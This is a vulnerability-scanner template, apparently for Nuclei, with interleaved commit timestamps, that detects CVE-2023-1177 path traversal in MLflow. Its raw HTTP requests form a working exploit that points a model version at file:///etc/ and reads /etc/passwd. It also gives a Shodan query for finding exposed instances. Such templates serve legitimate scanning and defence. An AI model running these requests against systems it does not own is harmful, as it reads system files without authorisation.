2023-03-27 13:58:17 +00:00
id : CVE-2023-1177
2023-04-14 16:01:35 +00:00
2023-03-27 13:58:17 +00:00
info :
2023-04-14 16:01:35 +00:00
name : Mlflow <2.2.1 - Local File Inclusion
2023-03-27 13:58:17 +00:00
author : iamnoooob,pdresearch
2023-04-07 19:32:53 +00:00
severity : critical
2023-03-27 13:58:17 +00:00
description : |
2023-04-14 16:28:26 +00:00
Mlflow before 2.2.1 is susceptible to local file inclusion due to path traversal \..\filename in GitHub repository mlflow/mlflow. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-03-27 13:58:17 +00:00
reference :
- https://huntr.dev/bounties/1fe8f21a-c438-4cba-9add-e8a5dab94e28/
- https://github.com/mlflow/mlflow/commit/7162a50c654792c21f3e4a160eb1a0e6a34f6e6e
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-1177
2023-04-07 19:32:53 +00:00
- https://huntr.dev/bounties/1fe8f21a-c438-4cba-9add-e8a5dab94e28
2023-04-14 16:01:35 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2023-1177
2023-04-07 19:32:53 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2023-1177
cwe-id : CWE-29
2023-04-03 20:51:28 +00:00
metadata :
shodan-query : http.title:"mlflow"
2023-04-07 19:32:53 +00:00
verified : "true"
tags : mlflow,oss,lfi,huntr,cve,cve2023
2023-03-27 13:58:17 +00:00
requests :
- raw :
- |
POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
Host : {{Hostname}}
Content-Type : application/json; charset=utf-8
{"name" : "{{randstr}}" }
- |
POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
Host : {{Hostname}}
Content-Type : application/json; charset=utf-8
{"name" : "{{randstr}}" , "source" : "file:///etc/" }
- |
GET /model-versions/get-artifact?path=passwd&name=AJAX-API&version={{version}} HTTP/1.1
Host : {{Hostname}}
matchers-condition : and
matchers :
- type : regex
regex :
- "root:.*:0:0:"
- type : status
status :
- 200
extractors :
- type : regex
part : body
name : version
internal : true
group : 1
regex :
- '"version": "([0-9.]+)",'
2023-04-14 16:01:35 +00:00
# Enhanced by md on 2023/04/14